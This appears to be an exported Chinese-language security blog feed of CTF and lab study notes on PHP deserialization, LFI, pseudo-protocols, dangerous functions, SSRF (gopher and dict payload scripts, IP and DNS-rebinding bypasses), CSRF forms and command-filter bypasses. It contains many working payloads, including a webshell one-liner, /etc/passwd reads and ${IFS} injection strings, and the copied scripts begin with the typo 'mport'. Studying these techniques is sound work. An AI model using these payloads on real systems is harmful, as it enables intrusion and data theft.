    // 反射给c的private $string赋值：$c->string["string"] = [$a2, "resolve"]
    $refc = new ReflectionClass($c);
    $propString = $refc->getProperty('string');
    $propString->setAccessible(true);
    $propString->setValue($c, ["string" => [$a2, "resolve"]]);

    // 3. 构建被b引用的a实例（a1），其object指向c
    $a1 = new a();
    $a1->object = $c; // a1的__toString触发c的__get

    // 4. 构建b实例，给protected $filename赋值为a1
    $b = new b();
    $refb = new ReflectionClass($b);
    $propFilename = $refb->getProperty('filename');
    $propFilename->setAccessible(true);
    $propFilename->setValue($b, $a1); // b的addMe触发a1的__toString

    // 5. 构建入口a实例，其object指向b（触发__destruct）
    $a = new a();
    $a->object = $b;

    // 序列化并URL编码
    echo urlencode(serialize($a));
    ?>
    ]]>     http://47.109.24.42/2026/01/30/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ 2026-01-30T12:00:00.000Z 一般的反序列化入口

    方法名 触发时机 / 定义 触发方式极简示例 反序列化 2026-01-30T12:00:00.000Z xiexie 先写靶场

    1. 直接用get访问即可，这里对文件没有任何限制。
    2. 用upload那里学到的00截断来做，如果你要传php文件的话，可以不用管，因为他是加上后缀.php（其实我这里没有看懂这个防御方式），如果要穿其他文件的话，就在末尾用00截断
    3. 从后往前数四个，如果是.php就直接错，不是的话就直接访问，绕过的方式就很多了，可以大写绕过。也可以加点绕过。
    4. ·addslashes()函数，addslashes()是 PHP 内置的字符串转义函数，核心作用是：在字符串中的 ** 单引号（'）、双引号（"）、反斜线（\）、NUL（NULL 空字符）** 这四类 “预定义特殊字符” 前，添加反斜杠（\），这里也没有什么影响啊，上一目录是../，正常写就可以。
    5. 会将../替换为空，这里可以用upload里面学到的双写绕过，…/./，删去之后还是../。
    6. 六到第十关除了把前面get改为post以外，没有区别。
    7. 界面看不到发送的请求应该是什么，看源码，然后看到参数名发送post
    8. 和上一关一样，改成get就可以
    9. 和之前一关一样，都是双写../绕过，这里是发送get请求（注意在url上面直接拼接，因为那个框并不是真正的发get请求）
    10. 和上一关一样发post
    11. 这里到了cmd的第一关，没有任何限制，直接在表单输入，或者说直接构造url即可，可以用cd看所在目录，也可以直接whoami查看用户，dir查看也可以，完全没有限制。
    12. 和上一关一样，（这里表单就是发送post请求）可以直接写
    13. 这里学到linux的管道符，| ;表示无论前者是不是为真，都可以直接执行后者（注意|，是把前一个的输出作为后者的输入，而;只是单纯的依次执行）||是前者为假，执行后者，&&是前者为真，就执行后者。
    14. 发post
    15. 看源码，对domain有很多限制，但是对server没有限制，那么可以在server这个参数上面开干，直接随便写一个域名，然后用;加上ls，在拼接上domain即可（因为这里对domain有了很多限制，那么就要真的输入一个正确的无风险的域名）
    16. 发post

    关于协议和php伪协议以及SSRF常见的绕过

    PHP 伪协议与漏洞利用速查表

    一、 本地文件操作 (Local File Inclusion)

    主要用于读取服务器上的敏感文件，或配合文件上传漏洞解析内部的 PHP 代码。

    1. file:// (访问本地文件系统)

    • 用途：读取本地文件内容。

    • 条件：allow_url_fopen: Off/On 均可，allow_url_include: Off/On 均可。

    • Payload：

      1
      2
      3
      4
      5
      # Linux 读取 /etc/passwd
      file:///etc/passwd

      # Windows 读取 hosts
      file://C:/Windows/System32/drivers/etc/hosts

    2. php://filter (读取源码)

    • 用途：利用流过滤器读取 PHP 文件源码，避免被服务器直接解析执行。

    • 条件：无特殊限制。

    • Payload：

      1
      2
      3
      4
      5
      6
      7
      8
      9
      # 1. Base64 编码读取 (最常用)
      # 此时浏览器会显示 base64 字符串，解码即可得到源码
      php://filter/read=convert.base64-encode/resource=index.php

      # 2. ROT13 编码读取 (绕过 WAF 对 "base64" 关键字的过滤)
      php://filter/read=string.rot13/resource=index.php

      # 3. iconv 字符集转换 (绕过复杂 WAF)
      php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php

    3. zip:// (读取压缩包内文件)

    • 用途：配合文件上传漏洞。上传一个修改后缀为 .jpg 的 zip 压缩包，利用该协议执行包内的 PHP 文件。

    • 条件：无特殊限制。

    • 注意：必须使用绝对路径；URL 中的 # 必须编码为 %23。

    • Payload：

      1
      2
      3
      # 假设上传路径为 /var/www/html/upload/1.jpg
      # 1.jpg 实为 zip 包，内部包含 shell.php
      zip:///var/www/html/upload/1.jpg%23shell.php

    4. phar:// (PHP 归档文件)

    • 用途：同 zip://，用于解析压缩包。

    • 条件：PHP >= 5.3.0。

    • 优势：支持相对路径，比 zip:// 更灵活。

    • Payload：

      1
      2
      # 假设上传了 shell.png (原身是 zip 或 phar 包，内含 shell.php)
      phar://shell.png/shell.php

    二、 远程代码执行 (Remote Code Execution)

    此类协议通常需要开启特定的 PHP 配置 (allow_url_include)，危害极大。

    5. data:// (数据流执行)

    • 用途：将 PHP 代码直接嵌入 URL 中让服务器执行。

    • 条件：必须 allow_url_fopen: On 且 必须 allow_url_include: On。

    • Payload：

      1
      2
      3
      4
      5
      6
      # 1. 纯文本格式 (特殊字符易导致解析错误)
      data://text/plain,<?php phpinfo();?>

      # 2. Base64 编码格式 (推荐，稳定隐蔽)
      # 内容为: <?php system('ls'); ?>
      data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

    6. php://input (POST 数据流)

    • 用途：读取 POST 请求体中的数据并作为 PHP 代码执行。

    • 条件：必须 allow_url_include: On。

    • Payload：

      • URL 参数: ?file=php://input

      • POST Body:

        1
        <?php system('ls -la'); ?>

    7. expect:// (系统命令执行)

    • 用途：直接执行系统 Shell 命令。

    • 条件：必须安装 expect 扩展。

    • Payload：

      1
      2
      expect://whoami
      expect://ls -la

    至于dict:// gopher:// 待我后面在SSRF的那一篇做详细补充和使用 我一定要狠狠…
    补上危险函数说明

    PHP 敏感函数与高危操作速查表

    一、 命令执行类 (Command Execution)

    *直接调用操作系统命令

    这些函数如果参数可控，攻击者可以直接执行系统命令（如 whoami, cat /flag），获取服务器最高权限。

    函数名特性/区别典型攻击 Payload
    system($cmd)执行命令并直接输出结果到页面。system('ls -la');
    passthru($cmd)同 system，直接输出结果（常用于处理二进制数据）。passthru('cat /etc/passwd');
    exec($cmd, $array)执行命令，但只返回最后一行结果。完整结果需通过第二个参数引用获取。exec('whoami', $output); print_r($output);
    shell_exec($cmd)执行命令并以字符串形式返回所有结果。echo shell_exec('id');
    反引号 `cmd`等同于 shell_exec，是其简写形式。echo `ls`;
    popen($cmd, 'r')打开一个指向进程的管道，通常用于读写命令输入输出。$f = popen('whoami', 'r'); echo fread($f, 1024);
    proc_open(...)更底层的进程控制函数，功能同上但更复杂。(常用于 bypass disable_functions)
    pcntl_exec(...)在当前进程空间执行指定程序。(常用于 CLI 模式下的利用)

    二、 代码执行类 (Code Execution)

    *将字符串当作 PHP 代码执行

    攻击者可以输入任意 PHP 代码（如 phpinfo(); 或 system('ls');），等同于接管了 PHP 解释器。
    这里我纠正一下我一直搞错的一个误区
    eval是一个语言结构不是函数 还有就是
    在 PHP 7 中 assert 是函数，可以回调，所以以前常用 array_map('assert', ...)；但在 PHP 8 中 assert 变成了语言结构
    之前自己本地试里面回调函数用不了eval 我都没管过 那么小的问题居然到现在才解决 我服了我了…

    函数名特性/区别典型攻击 Payload
    eval($str)最常见的后门函数。把字符串当代码执行。注：eval 是语言结构不是函数。eval('phpinfo();');
    assert($str)类似于 eval。注：PHP 7 中作为函数，PHP 8 中作为语言结构。assert($_POST['cmd']);
    call_user_func($cb)回调函数调用。如果第一个参数（函数名）可控，可调用任意函数。call_user_func('system', 'ls');
    create_function(...)创建匿名函数（已废弃 之前的php版本来RCE应该很爽）。内部使用了 eval，极易被注入。$func = create_function('', '}phpinfo();/*');
    array_map($cb, $arr)数组回调。常配合 system 等函数批量执行。array_map('system', ['ls']);
    preg_replace(/e)正则替换。如果使用了 /e 修饰符（已废弃），替换字符串会被当做代码执行。preg_replace('/.*/e', 'phpinfo()', 'a');

    三、 文件操作类 (File Operation)

    *涉及文件包含、读取、写入、删除

    此类函数配合伪协议（php://）可导致敏感信息泄露或 GetShell。

    1. 文件包含 (LFI/RFI)

    • include($file) / include_once($file): 包含文件，若失败只产生警告，脚本继续执行。
    • require($file) / require_once($file): 包含文件，若失败产生致命错误，脚本终止。
      • 攻击点：配合 ../../ 目录穿越读文件，或配合上传图片马 GetShell。

    2. 文件读取 (File Read)

    • file_get_contents($file): 读取文件内容到字符串（支持远程 URL）。
    • readfile($file): 读取文件并直接输出到缓冲区。
    • fopen($file, 'r') + fread(): 打开并读取文件。
    • highlight_file($file) / show_source($file): 高亮显示文件源码（CTF 常用）。
      • 攻击点：读取 config.php 数据库密码、/etc/passwd 等。

    3. 文件写入/删除 (File Write/Delete)

    • file_put_contents($file, $data): 将数据写入文件。
      • 攻击点：写入 Webshell (<?php eval($_POST[1]);?>)。
    • unlink($file): 删除文件。
      • 攻击点：删除系统的锁文件（lock file）导致重装漏洞，或删除关键配置。

    四、 网络请求类 (SSRF)

    *发起服务端请求

    如果 URL 参数可控，可用于探测内网或攻击内网服务（Redis/MySQL）。

    函数名描述攻击方式
    curl_exec()cURL 会话执行。功能最强，支持 Gopher/Dict 等协议。gopher:// 打 Redis，dict:// 扫端口。
    file_get_contents()虽然主要读文件，但也支持 HTTP/HTTPS 协议。GET 请求探测内网 Web 存活。
    fsockopen()打开网络 socket 连接。构造原始 TCP 数据包攻击。

    审计小技巧 (Audit Tips)

    在做白盒审计（看源码找漏洞）时，可以直接在 IDE 或 grep 中搜索这些关键词：

    1. 搜 RCE: system(, exec(, eval(, assert(, call_user_func
    2. 搜 LFI: include, require
    3. 搜 SSRF: curl_exec, file_get_contents
    4. 搜 变量覆盖: extract(, parse_str(, $$ (双美元符号)
    ]]>     http://47.109.24.42/2026/01/27/LFI/ 2026-01-27T15:00:00.000Z 先写靶场

    1. 直接用get访问即可，这里对文件没有任何限制。
    2. 用upload那里学到的00截断来做，如果你要传php文件的话，可以不用管，因为他是加上后缀.php（其实我这里没有看懂这个防御方式），如果要穿其他文件的话，就在末尾用0]]>
    LFI 2026-01-27T15:00:00.000Z     xiexie SSRF是什么
    1. SSRF（Server-Side Request Forgery）
      是指：攻击者能控制服务器去“主动发起请求”访问任意 URL，包括内网 本地服务 云元数据接口（是一个位于 固定内网 IP 的 HTTP 服务，用于向云主机提供 身份信息、实例信息、临时访问凭证。可以在里面找目录的关键信息）等。（怎么有点被迫代理的感觉）能做到探测内网服务（最常见）访问本地服务 协议扩展

    哪种情况能遇到

    文章里写了很多常见的漏洞场景 其实总结起来就是服务器会根据用户输入，主动去访问一个地址 / 主机 / URL 根本上说 对于后端函数的使用不当（好吧这样说不好）限制不当

    • file_get_contents()：将整个文件或一个url所指向的文件读入一个字符串中。
    • readfile()：输出一个文件的内容。
    • fsockopen()：打开一个网络连接或者一个Unix 套接字连接。
    • curl_exec()：初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close() 函数使用。
    • fopen()：打开一个文件文件或者 URL。

    常用漏洞

    1. 读取内网文件（file协议）将服务器上的本地文件及网站源码读取出来比如
      ?url=file:///var/www/html/flag.php
    2. 探测内网主机存活 原理也就是一个网段里面自己访问得通不
    3. 端口探测 类似的 看回显版本不（这个payload是这样的）dict协议
    1
    2
    3
    ssrf.php?url=dict://192.168.52.131:6379/info   // redis  
    ssrf.php?url=dict://192.168.52.131:80/info     // http  
    ssrf.php?url=dict://192.168.52.130:22/info   // ssh
    1. Gopher协议（太强了 单开）支持发出GET、POST请求，我们可以先截获GET请求包和POST请求包，再构造成符合Gopher协议请求的payload进行SSRF利用
    • Gopher协议格式
    1
    2
    3
    4
    5
    URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流  
    ​  
    # 注意不要忘记后面那个下划线"_"，下划线"_"后面才开始接TCP数据流，如果不加这个"_"，那么服务端收到的消息将不是完整的，该字符可随意写。
     gopher的默认端口是70
    如果发起POST请求，回车换行需要使用`%0d%0a`来代替`%0a`，如果多个参数，参数之间的&也需要进行URL编码
    • 利用Gopher协议发送HTTP GET请求
      抓取或构造HTTP数据包 比如
    1
    2
    GET /echo.php?whoami=Bunny HTTP/1.1  
    Host: 47.xxx.xxx.72

    脚本搬运一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mport urllib.parse  
    payload =\  
    """GET /echo.php?whoami=Bunny HTTP/1.1  
    Host: 47.xxx.xxx.72  
    """    
    # 注意后面一定要有回车，回车结尾表示http请求结束  
    tmp = urllib.parse.quote(payload)  
    new = tmp.replace('%0A','%0D%0A')  
    result = 'gopher://47.xxx.xxx.72:80/'+'_'+new  
    print(result)

    注意事项
    注意这几个问题：

    1. 问号（?）需要转码为URL编码，也就是%3f
    2. 回车换行要变为%0d%0a,但如果直接用工具转，可能只会有%0a
    3. 在HTTP包的最后要加%0d%0a，代表消息结束（具体可研究HTTP包结束）
      gopher://47.xxx.xxx.72:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.72%0D%0A生成之后
    • 利用Gopher协议发送HTTP POST请求
    1
    2
    3
    4
    5
    POST /echo.php HTTP/1.1
    Host: 47.xxx.xxx.72
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 12
    whoami=Bunny

    注意：上面那四个HTTP头是POST请求必须的，即POST、Host、Content-Type和Content-Length。如果少了会报错的，而GET则不用。并且，特别要注意Content-Length应为字符串“whoami=Bunny”的长度。
    脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    mport urllib.parse
    payload =\
    """POST /echo.php HTTP/1.1
    Host: 47.xxx.xxx.72
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 12

    whoami=Bunny
    """  
    # 注意后面一定要有回车，回车结尾表示http请求结束
    tmp = urllib.parse.quote(payload)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
    print(result)

    相关绕过姿势

    先写限制一般有几种
    限制请求的端口只能为Web端口，只允许访问HTTP和HTTPS的请求。
    限制域名只能为http://www.xxx.com
    限制不能访问内网的IP，以防止对内网进行攻击。
    屏蔽返回的详细信息。

    1. 对于- 限制域名只能为http://www.xxx.com的 采用HTTP基本身份认证的方式绕过
      www.baidu.com@127.0.0.1则会跳转的127.0.0.1 文章里面说谷歌浏览器是这样 但是我的火狐谷歌都可以。
    2. 进制转换 绕过内网限制 php脚本可以一键转换：
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php  
    $ip = '127.0.0.1';  
    $ip = explode('.',$ip);  
    $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;  
    if($r < 0) {  
    $r += 4294967296;  
    }  
    echo "十进制:";     // 2130706433  
    echo $r;  
    echo "八进制:";     // 0177.0.0.1  
    echo decoct($r);  
    echo "十六进制:";   // 0x7f.0.0.1  
    echo dechex($r);  
    ?>

    还有一些本地的替换

    1
    2
    3
    4
    5
    6
    7
    8
    http://localhost/         # localhost就是代指127.0.0.1  
    http://0/                 # 0在window下代表0.0.0.0，而在liunx下代表127.0.0.1  
    http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用，window测试了下不行  
    http://[::]:80/           # 在liunx下可用，window测试了下不行  
    http://127。0。0。1/       # 用中文句号绕过  
    http://①②⑦.⓪.⓪.①  
    http://127.1/  
    http://127.00000.00000.001/ # 0的数量多一点少一点都没影响，最后还是会指向127.0.0.1
    1. 302跳转绕过 重定向 这一点很妙啊

    • 短地址跳转绕过 文章给的神奇网站已经没了 开始疯狂寻找 https://clck.ru/ 经过多次实验 这个生成的最快且免费 毛子做的

    • xip.io - 浏览器请求
      http://127.0.0.1.xip.io/flag.php

    • DNS 查询
      127.0.0.1.xip.io → 127.0.0.1

    • TCP 连接
      connect(127.0.0.1:80)

    • HTTP 请求（非常关键）：

      GET /flag.php HTTP/1.1 Host: 127.0.0.1.xip.io

    1. DNS rebinding

      在网站 SSRF 漏洞处访问精心构造的域名。网站第一次解析域名，获取到的IP地址为A；
      经过网站后端服务器的检查，判定此IP为合法IP。
      网站获取URL对应的资源（在一次网络请求中，先根据域名服务器获取IP地址，再向IP地址请求资源），第二次解析域名。此时已经过了ttl的时间，解析记录缓存IP被删除。第二次解析到的域名为被修改后的 IP 即为内网IP B；
      攻击者访问到了内网IP。
      时间差对应DNS中的机制是TTL。TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。即请求了域名与iP的关系后，请求方会缓存这个关系，缓存保持的时间就是TTL。而缓存失效后就会删除，这时候如果重新访问域名指定的IP的话会重新建立匹配关系及cache。

    在不同的语言，不同服务器中也存在差异

    • java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl，默认情况下没有设置)，失败的默认缓存10s。（缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置）
    • 在php中则默认没有缓存。
    • Linux默认不会进行DNS缓存，mac和windows会缓存(所以复现的时候不要在mac、windows上尝试)
    • 有些公共DNS服务器，比如114.114.114.114还是会把记录进行缓存，但是8.8.8.8是严格按照DNS协议去管理缓存的，如果设置TTL为0，则不会进行缓存。
      这种脚本网上可以找到很多 先挂上链
      https://security.tencent.com/index.php/blog/msg/179
    1. SSRF新型攻击手法—When TLS Hacks You
      理解了好久 自己的理解写了又删 还是搬下来原文了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    当客户端和服务器端初次建立TLS握手时（例如浏览器访问HTTPS网站），需要双方建立一个完整的TLS连接，该过程为了保证数据的传输具有完整性和机密性，需要做很多事情，如密钥协商出会话密钥，数字签名身份验证，消息验证码MAC等。这个过程是非常消耗资源的，而且当下一次客户端访问同一个HTTPS网站时，这个过程需要再重复一次，这无疑会造成大量的资源消耗。

       
    为了提高性能，TLS/SSL提供了会话恢复的方式，允许客户端和服务端在某次关闭连接后，下一次客户端访问时恢复上一次的会话连接。会话恢复有两种，一种是基于session ID恢复，一种是使用Session Ticket的TLS扩展。这里主要介绍一下session ID。  
      

    每一个会话都由一个Session ID标识符标识，当建立一个TLS连接时，服务器会生成一个session ID给客户端，服务端保留会话记录，重新连接的客户端可以在clientHello消息期间提供此会话ID，并重新使用此前建立的会话密钥，而不需要再次经历秘钥协商等过程。TLS session id在RFC-5077中有着详细描述，基本所有数据都可以用作会话标志符，包括换行符。

       
    Session ticket和session id作用类似，在客户端和服务端建立了一次完整的握手后，服务端会将本次的会话数据加密，但是session ticket将会话记录保存在客户端，而且与session id 32字节的大小不同，session ticket可提供65k的空间，这就能为我们的payload提供足够的空间。  
      

    在讲完这些细节之后，攻击的思路就会很清晰了，session id是服务器提供给客户端的，如果我们构建一个恶意的tls服务器，然后将我们的恶意session id发送给客户端，然后通过dns rebinding，将服务器域名的地址指向内网ip应用，例如memcache，客户端在恢复会话时就会带上恶意的session id去请求内网的memcache，从而攻击了内网应用。  
      大致流程如下：
    1.利用服务器发起一个 HTTPS 请求。  
    2.请求时会发起一个 DNS 解析请求，DNS 服务器回应一个 TTL 为 0 的结果，指向攻击者的服务器。  
    3.攻击者服务器响应请求，并返回一个精心构造过的 SessionID，并延迟几秒后回应一个跳转。  
    4.客户端接收到这个回应之后会进行跳转，这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0，则会再次发起一次解析请求，这次返回的结果则会指向 SSRF 攻击的目标（例如本地的memcache数据库）。  
    5.因为请求和跳转时的域名都没有变更，本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行，发送到目标的那个端口上。  
    6.则达到目的，成功对目标端口发送构造过的数据，成功 SSRF。

    只能说太巧妙了 后面寒假去试试复现的 文章链接在上面 to do

    CSRF

    放在一起的原因是 我觉得和SSRF非常非常相似了 攻击条件很类似于xss

    什么是CSRF

    CSRF，跨站请求伪造，是一种利用用户已登录状态，诱导浏览器在不知情的情况下向目标站点发送请求的攻击方式。身份用的是用户的 执行的行为是我想执行的

    GET请求

    <img src="https://xiexie/logout">
    当受害者访问该页面时，浏览器会自动向这个url发起一次 GET 请求。
    实际请求就是

    1
    2
    3
    GET /logout HTTP/1.1
    Host: xiexie
    Cookie: session=USER_SESSION

    浏览器中有大量自动触发 GET 请求的标签

    • <img>
    • <iframe>
    • <script>
    • <link>
      在xss里面的学习也都挺熟悉的了 页面加载即执行

    POST请求

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <form action="http://bank.example/withdraw" method="POST">
      <input type="hidden" name="account" value="xiaoming">
      <input type="hidden" name="amount" value="10000">
      <input type="hidden" name="for" value="hacker">
    </form>

    <script>
      document.forms[0].submit();
    </script>

    <form> 是浏览器原生支持的请求构造机制

    • action → 目标接口
    • method → 请求方式
    • input → 请求参数
      hidden 参数的攻击意义 用户不可见
      document.forms[0].submit(); 按这个 form 的定义，立刻发一个 HTTP 请求
      也就是说这个
    1
    2
    3
    4
    5
    POST /withdraw HTTP/1.1
    Host: bank.example
    Cookie: session=USER_SESSION

    account=xiaoming&amount=10000&for=hacker

    钓鱼链接

    这种其实还是挺有意思的 起码在同学恶搞里面出现的比较多…
    如果说想要往出题的方向靠的话 那就做个傻傻的机器人去点所有可以点击的链接

    1
    2
    3
    <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> 
    重磅消息！！
     <a/>

    防御

    1. 关于同源策略 同源策略是浏览器的安全策略，不是服务器的
      只有“同源”的页面，才能互相读取数据；
      不同源的页面，默认只能“发请求”，不能“读响应”
      三个条件必须全部相同 才能叫同源 协议 域名 端口 ai写了个例子
      https://www.example.com:443这个与下面的三个都不同源
    1
    2
    3
    http://www.example.com:443
    https://api.example.com:443
    https://www.example.com:8443
    • 哪些行为被同源策略禁止
    1. 读取跨源响应内容 比如
    1
    2
    fetch("https://bank.example/api/balance")
      .then(r => r.text())

    请求时能发出的 只是收不到响应
    2. 访问跨域页面的 DOM(DOM在xss里面学习过概念 DOM 是浏览器“理解并正在使用的页面结构”)

    • 同源：可以访问 DOM 比如
    1
    2
    3
    4
    5
    6
    7
    <!-- parent.html -->
    <iframe id="f" src="child.html"></iframe>

    <script>
      const iframe = document.getElementById("f");
      console.log(iframe.contentWindow.document.body.innerHTML);
    </script>

    跨源会直接报错的
    3. 跨源 Cookie 的 JS 访问 这个很好理解了
    console.log(document.cookie["bank.example"]); 能这样直接读别人的cookie吗
    这里贴一下文章里面的跨站请求带cookie的情况

    • 上面是关于外域的访问限制 那么想一下CSRF的关键就是直接用了用户的cookie 但其实没有去管cookie怎么来的？你是你吗？之类的逻辑 为了验证你是你自己 而不是哪个坏坏的黑客 文章里面提到的操作都挺妙的 如果我是程序猿的话 大概率只能想到个笨笨的验证码
    1. token验证
      比如我们可以加一个一次性生成的token，根据浏览器的同源策略这个token并不能被csrf获取让每个请求带上这个token并进行验证（这里的token可以放在http请求的参数里），这样的话，CSRF无法获取Token从而隔绝攻击，当然实战渗透测试的时候可能有些网站会有token但并无作用 我怎么感觉有一个这个就够了？（单说这一种CSRF）除了上面说的摆设token 或是生成方式比较简陋有规律的那种 其实很难再进攻了
    2. 双重cookie 就是请求中要带着cookie里的参数 这个刚开始看了文章我很疑惑 这个不是说了会自动取出cookie吗 为什么还能防御 也不需要攻击者知道cookie啊 感觉没什么作用 肤浅了..
      我以为是服务端直接拿出cookie拼在每个请求里面….. 明明是前端读取的 如果是攻击者的话 得到的cookie就不一样了 我在想什么 局限是下面
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    由于任何跨域都会导致前端无法获取Cookie中的字段（包括子域名之间），于是发生了如下情况：

    如果用户访问的网站为`www.a.com`，而后端的api域名为`api.a.com`。那么在`www.a.com`下，前端拿不到`api.a.com`的Cookie，也就无法完成双重Cookie认证。

    于是这个认证Cookie必须被种在`a.com`下，这样每个子域都可以访问。

    任何一个子域都可以修改`a.com`下的Cookie。

    某个子域名存在漏洞被XSS攻击（例如`upload.a.com`）。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了`a.com`下的Cookie。

    攻击者可以直接使用自己配置的Cookie，对XSS中招的用户再向`www.a.com`下，发起CSRF攻击。

    文章https://h0lm2pyudgf.feishu.cn/wiki/XyAXwiKkNi62bLk67GMcOeTYnOg

    ]]>     http://47.109.24.42/2026/01/14/SSRF%20and%20CSRF/ 2026-01-14T13:00:00.000Z SSRF是什么
    1. SSRF（Server-Side Request Forgery）
      是指：攻击者能]]>
    <![CDATA[SSRF&CSRF]]> 2026-01-14T13:00:00.000Z     xiexie 靶场
    1. eval执行
    1
    2
    3
    4
    5
    6
    7
    8
    <?php
        if(isset($_REQUEST['cmd'])){
            eval($_REQUEST['cmd']);
        }
    else{
            highlight_file(__FILE__);
        }
    ?>

    最简单的漏洞题 知识点直接在wp里面找 但几乎都知道
     $_REQUEST 是一个超全局变量，它包含了通过 GET、POST 或 COOKIE 方法传递的参数。
     eval() 函数会将传递进来的 cmd 参数的值作为 PHP 代码来执行。使用system()，让eval直接执行我们对系统的操作 就是普通的/?cmd=system("ls /") 然后查看即可
     exec()，执行系统命令，默认仅返回命令输出的最后一行
    语法：exec(string $command, array $output = null, int $return_var = null): string|false
    $command：要执行的系统命令；
    $output：可选，数组引用，存储命令的所有输出行；
    $return_var：可选，整数引用，存储命令的退出状态码（0 表示执行成功，非 0 为失败）。
    特点：无直接输出（需手动打印$output），适合需要获取结构化输出的场景，不输出二进制数据，我在靶场里面没有用到过。
    system(),执行系统命令，直接将命令输出打印到页面.
    passthru()
    作用：执行系统命令，直接将原始输出（包括二进制数据）打印到页面，无返回值。
    shell_exec()无直接输出，需手动打印,也就是自己先存然后echo出来 基本用不太到
    有一个特殊的，反引号等价性：PHP 中，将命令用反引号包裹，效果与shell_exec()完全一致（如ls -l等价于shell_exec(‘ls -l’)）
     2. php里面 error_reporting(0);：将错误报告级别设置为 0，也就是关闭所有错误报告，就是运行的时候即使出现问题也不会在页面上报错，为了隐藏在代码运行时潜在的问题
    include():语句的主要作用是将指定文件的内容插入到当前 PHP 文件中该语句所在的位置，并当作当前文件的一部分来执行。这里在upload靶场就见过 可以说是风险很大的一个函数 用上本身的文件然后加上rce即可
    文件包含需要 (1)采用 include 等文件包含函数，并且需要包含的文件路径是通过用户传输参数的方式引入；
    （2）用户能够控制包含文件的参数，被包含的文件可被当前页面访问
    3. php://input php://input 用于 直接读取 HTTP 请求体（request body）中的原始数据。这里用文章例子来说明

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    # 尝试通过 php://input 协议获取原始 POST 数据
    $raw_data = file_get_contents('php://input');
    var_dump($raw_data);
    # 通过输出 HTML 标签 </br> 实现换行功能
    echo '</br>';
    # 经 PHP 整理的 POST 数据
    var_dump($_POST);
    ?>

    也就是一种直接读取原始 POST 数据的方式 前提是若要启用 allow_url_include，首先需要确保 allow_url_fopen 也是启用的，因为 allow_url_include 依赖于 allow_url_fopen 发送post的<?php system('ls /');?>即可
    4. php://filter 用于在读取 / 写入数据流（比如读取文件内容、处理输入输出）时，对数据进行过滤 / 转换处理 数据在经过这个通道时，会按照你指定的规则被处理（比如编码、解码、大小写转换等）。基本语法是这样的php://filter/[过滤规则]/resource=[目标资源] 过滤规则一般常用的就是读取文件并 Base64 编码输出 多个过滤器用|分隔，按顺序处理 比如

    1
    $content =file_get_contents("php://filter/convert.base64encode|string.toupper/resource=test.txt")


    php://filter/read = convert.base64 - encode/resource=/flag
    文件包含获取flag的条件：
    （1）攻击者需要知道文件存放的物理路径；
    （2）对上传文件所在目录拥有可执行权限；
    （3）存在文件包含漏洞；

    1. 命令过滤 这里靶场主要都是过滤 下面详细记录绕过过滤
    • 关于管道操作符
      windows：
    1. “|”：直接执行后面的语句。
    2. “||”：如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。
    3. “&”：两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。
    4. “&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

    linux：

    1. “;”：执行完前面的语句再执行后面的语句。
    2. “|”：显示后面语句的执行结果。
    3. “||”：当前面的语句执行出错时，执行后面的语句。
    4. “&”：两条命令都执行，如果前面的语句为假则执行执行后面的语句，前面的语句可真可假。
    5. “&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。

    • 查询cat的替代
      (1)more:一页一页的显示的显示档案内容
      (2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
      (3)head:查看头几行
      (4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
      (5)tail:查看尾几行
      (6)nl:显示的时候,顺便输出行号
      (7)od:以二进制的方式读取档案内容
      (8)vi:一种编辑器，这个也可以查看
      (9)vim:一种编辑器,这个也可以查看
      (10)sort:可以查看
      (11)uniq:可以查看
      (12)file -f:报错出具体的内容
      此处引用：https://blog.csdn.net/m_de_g/article/details/118929528

    • 关键字绕过
      $@ 是位置参数变量，如果没有给命令传参（比如这里），$@ 会被解析为空字符串

      \绕过
      用 ${PATH:0:1} 来代替目录分隔符 /

    • 空格绕过

    ; 的绕过方式 

    ;%0a%0d&

    终极过滤 

    1
    127.0.0.1%0acd${IFS}fl$*a$*g_is_here%0amore${IFS}fl$*a$*g_295443149417453.php

    用到的原文链接：https://blog.csdn.net/2401_86190146/article/details/145136049

    无字母数字 RCE

    这里的思路就是利用各种非数字字母的字符，经过各种变换（异或、取反、自增），构造出单个的字母字符

    • 异或 在php里，两个值进行异或，会先转变成ASCII在转变成2进制异或^：数字相同为1不同为0（1^1=1，1^0=0），利用这个特性来构造字符串0&0=0；1&1=0；0&1=1；1&0=1
      例如：’a’^’$’=E 需要两个字符才能构造出一个字符
    • 取反 原理大概 32位表示二进制的12：
      0000 0000 0000 0000 0000 0000 0000 1100
